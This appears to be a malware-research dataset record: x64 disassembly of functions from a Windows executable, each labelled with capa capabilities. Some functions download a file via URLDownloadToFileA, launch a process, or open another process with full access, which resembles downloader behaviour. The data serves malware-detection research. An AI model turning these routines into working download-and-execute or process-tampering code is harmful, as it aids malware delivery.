joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002a90
Capabilities:
Query environment variable

Disassembly:
jmp 0x1400b1840
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400b1670
lea rcx, [rsp + 0x40]
call fcn.1400b17f0
movzx eax, al
test eax, eax
jne 0x1400b1888
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.1400b16a0
mov rax, qword [rsp + 0x70]
jmp 0x1400b1a59
lea rcx, [rsp + 0x40]
call fcn.1400b17c0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.1400b1760
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1400b17c0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400034ea
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1400b192e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.1400b16a0
mov rax, qword [rsp + 0x80]
jmp 0x1400b1a59
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.140002847
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.14000272a
lea rcx, [rsp + 0x48]
call fcn.1400023e7
movzx eax, al
test eax, eax
jne 0x1400b1995
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.140001785
lea rcx, [rsp + 0x40]
call fcn.1400b16a0
mov rax, qword [rsp + 0x88]
jmp 0x1400b1a59
lea rcx, [rsp + 0x48]
call fcn.140002d6f
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1400b17c0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400034ea
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1400b1a2b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.140001785
lea rcx, [rsp + 0x40]
call fcn.1400b16a0
mov rax, qword [rsp + 0xa0]
jmp 0x1400b1a59
lea rcx, [rsp + 0x48]
call fcn.1400026fd
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.140001785
lea rcx, [rsp + 0x40]
call fcn.1400b16a0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret

Function at 0x140002a9a
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1400335f0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.140032fc0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140033631
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140136020]
jmp 0x140033637
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret
Function at 0x140002b1c
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400a98b0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1400a87e0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1400a9917
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x140136030]
jmp 0x1400a9939
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.14000238d
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x140002b2b
Capabilities:
Terminate process

Disassembly:
jmp 0x140012570
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140002d1f
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400c9150
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x140125080]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1400c9176
jmp 0x1400c91f3
mov rcx, qword [rbp + 0x30]
call fcn.140002617
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x1400c918f
jmp 0x1400c91f3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x1400c91ac
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400018de
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.140001cd0
test eax, eax
jne 0x1400c91f3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400027cf
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x140002e4b
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400e6020
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov qword [rsp], rax
mov rax, qword [rsp]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400e6044
xor eax, eax
jmp 0x1400e6092
mov rax, qword [rsp]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
cmp dword [rax], 0x4550
je 0x1400e606c
xor eax, eax
jmp 0x1400e6092
mov rax, qword [rsp + 8]
add rax, 0x18
mov qword [rsp + 0x10], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax]
cmp eax, 0x20b
je 0x1400e608d
xor eax, eax
jmp 0x1400e6092
mov eax, 1
add rsp, 0x28
ret

Function at 0x1400031b1
Capabilities:
Parse pe header

Disassembly:
jmp 0x140010c30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140010c50
xor al, al
jmp 0x140010cd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140010c63
xor al, al
jmp 0x140010cd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140010c8d
xor al, al
jmp 0x140010cd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140010ca1
xor al, al
jmp 0x140010cd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140010cb3
xor al, al
jmp 0x140010cd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140010ccf
xor al, al
jmp 0x140010cd1
mov al, 1
add rsp, 0x38
ret
Function at 0x14000345e
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x1400e5e90
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x10], rax
mov dword [rsp], 0
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x10]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 8], rax
jmp 0x1400e5eee
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
add rax, 0x28
mov qword [rsp + 8], rax
mov rax, qword [rsp + 0x10]
movzx eax, word [rax + 6]
cmp dword [rsp], eax
jae 0x1400e5f2d
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
cmp qword [rsp + 0x38], rax
jb 0x1400e5f2b
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0xc]
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 8]
mov eax, eax
cmp qword [rsp + 0x38], rax
jae 0x1400e5f2b
mov rax, qword [rsp + 8]
jmp 0x1400e5f2f
jmp 0x1400e5ed8
xor eax, eax
add rsp, 0x28
ret

Function at 0x14000367a
Capabilities:
Terminate process

Disassembly:
jmp 0x140034a90
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140034abe
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.140003dd2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140003d78
Capabilities:
Download url
Receive data

Disassembly:
jmp 0x14000cfbc
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x1401350f3]
call fcn.140004160
mov rcx, qword [rbp + 0x108]
call fcn.14000149c
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x100]
call fcn.14000149c
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14000d02e
mov al, 1
jmp 0x14000d030
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x140003e2c
Capabilities:
Print debug messages

Disassembly:
jmp 0x1400a6f00
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x140003ed6
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140033730
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140033080
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140033779
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140136020]
jmp 0x140033788
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret

Function at 0x140003f80
Capabilities:
Set environment variable

Disassembly:
jmp 0x1400cc340
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0xb8
lea rcx, [rsp + 0x78]
call fcn.140002266
lea rcx, [rsp + 0x48]
call fcn.140002266
call fcn.140002a40
mov r8d, eax
lea rdx, [rsp + 0x78]
mov rcx, qword [rsp + 0xc0]
call fcn.1400020a4
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
je 0x1400cc3af
mov dword [rsp + 0x24], 0
lea rcx, [rsp + 0x48]
call fcn.140002545
lea rcx, [rsp + 0x78]
call fcn.140002545
mov eax, dword [rsp + 0x24]
jmp 0x1400cc440
call fcn.140002a40
mov r8d, eax
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
call fcn.1400020a4
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0
je 0x1400cc3f6
mov dword [rsp + 0x2c], 0
lea rcx, [rsp + 0x48]
call fcn.140002545
lea rcx, [rsp + 0x78]
call fcn.140002545
mov eax, dword [rsp + 0x2c]
jmp 0x1400cc440
lea rcx, [rsp + 0x48]
call fcn.1400021f3
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x78]
call fcn.1400021f3
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [rsp + 0x30], eax
lea rcx, [rsp + 0x48]
call fcn.140002545
lea rcx, [rsp + 0x78]
call fcn.140002545
mov eax, dword [rsp + 0x30]
add rsp, 0xb8
ret

Function at 0x14000cdbc
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
jmp 0x14000cdbc
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1401350f3]
call fcn.140004160
mov rcx, qword [rbp + 0x100]
call fcn.14000149c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x14000ce20
mov rcx, qword [rbp + 0x100]
call fcn.14000149c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x14000ce1a
mov al, 1
jmp 0x14000ce32
xor al, al
jmp 0x14000ce32
mov eax, dword [rbp + 4]
and eax, 0x10
test eax, eax
je 0x14000ce30
mov al, 1
jmp 0x14000ce32
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14000cfbc
Capabilities:
Download url
Receive data

Disassembly:
jmp 0x14000cfbc
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x118
lea rbp, [rsp + 0x30]
lea rcx, [0x1401350f3]
call fcn.140004160
mov rcx, qword [rbp + 0x108]
call fcn.14000149c
mov qword [rbp + 0xd8], rax
mov rcx, qword [rbp + 0x100]
call fcn.14000149c
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rbp + 0xd8]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14000d02e
mov al, 1
jmp 0x14000d030
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14000d05c
Capabilities:
Create process on windows

Disassembly:
jmp 0x14000d05c
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1d8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1f8]
lea rcx, [0x1401350f3]
call fcn.140004160
mov dword [rbp + 0x10], 0x68
lea rax, [rbp + 0x18]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x10]
call fcn.140003495
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x98]
call fcn.140003495
mov rcx, qword [rbp + 0x1a0]
call fcn.14000149c
lea rcx, [rbp + 0x98]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x10]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14000d15a
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000d15c
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1400f12c0]
call fcn.14000387d
mov rax, rdi
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret

Function at 0x1400336c0
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1400336c0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140033040
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400336ff
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x140136020]
jmp 0x140033709
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret
Function at 0x1400d9d20
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400018de
sub rsp, rax
mov rax, qword [0x140125080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140128170]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400d9f12
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x1400d9e66
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x1400d9e66
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x1400d9e4b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x1400d9de8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400d9ed2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400d9f31
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x1400d9f0d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400d9f31
jmp 0x1400d9dbe
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400027cf
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400d9fe0
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.1400018de
sub rsp, rax
mov rax, qword [0x140125080]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x140128170]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400da1ed
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x1400da139
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x1400da139
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x1400da119
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1400da0a8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400da1ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400da20c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x1400da1e8
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x1400da20c
jmp 0x1400da07e
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.1400027cf
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x1400110a0
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x140012bf0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6e8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x122
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x708]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x6b8], rax
lea rcx, [0x1400251d1]
call fcn.140011451
nop
mov edx, dword [rbp + 0x6e0]
mov ecx, 0x18
call fcn.14001120d
mov qword [rbp + 8], rax
mov dword [rbp + 0x30], 0x438
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400112d0
nop
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x6e8]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140012c8e
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rbp + 0x48]
jmp 0x140012cac
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400110b9
test eax, eax
jne 0x140012c68
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001c000]
call fcn.1400113d4
mov rax, rdi
mov rcx, qword [rbp + 0x6b8]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x6c8]
pop rdi
pop rbp
ret

Function at 0x140011163
Capabilities:
Enumerate processes

Disassembly:
jmp 0x140012d20
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x428
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x448]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3f8], rax
lea rcx, [0x1400251d1]
call fcn.140011451
nop
xor edx, edx
mov ecx, 2
call fcn.14001120d
mov qword [rbp + 8], rax
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.1400112b7
nop
lea rdx, [rbp + 0x5c]
mov rcx, qword [rbp + 0x420]
call qword [sym.imp.ucrtbased.dll_wcscmp]
test eax, eax
jne 0x140012dd9
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x38]
mov qword [0x14001f1c0], rax
mov r8d, dword [0x14001f1c0]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14001f1b0], rax
mov eax, dword [rbp + 0x38]
jmp 0x140012df7
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.140011401
test eax, eax
jne 0x140012d8f
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001bf80]
call fcn.1400113d4
mov rax, rdi
mov rcx, qword [rbp + 0x3f8]
xor rcx, rbp
call fcn.140011226
lea rsp, [rbp + 0x408]
pop rdi
pop rbp
ret

Function at 0x140011271
Capabilities:
Terminate process

Disassembly:
jmp 0x140014420
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
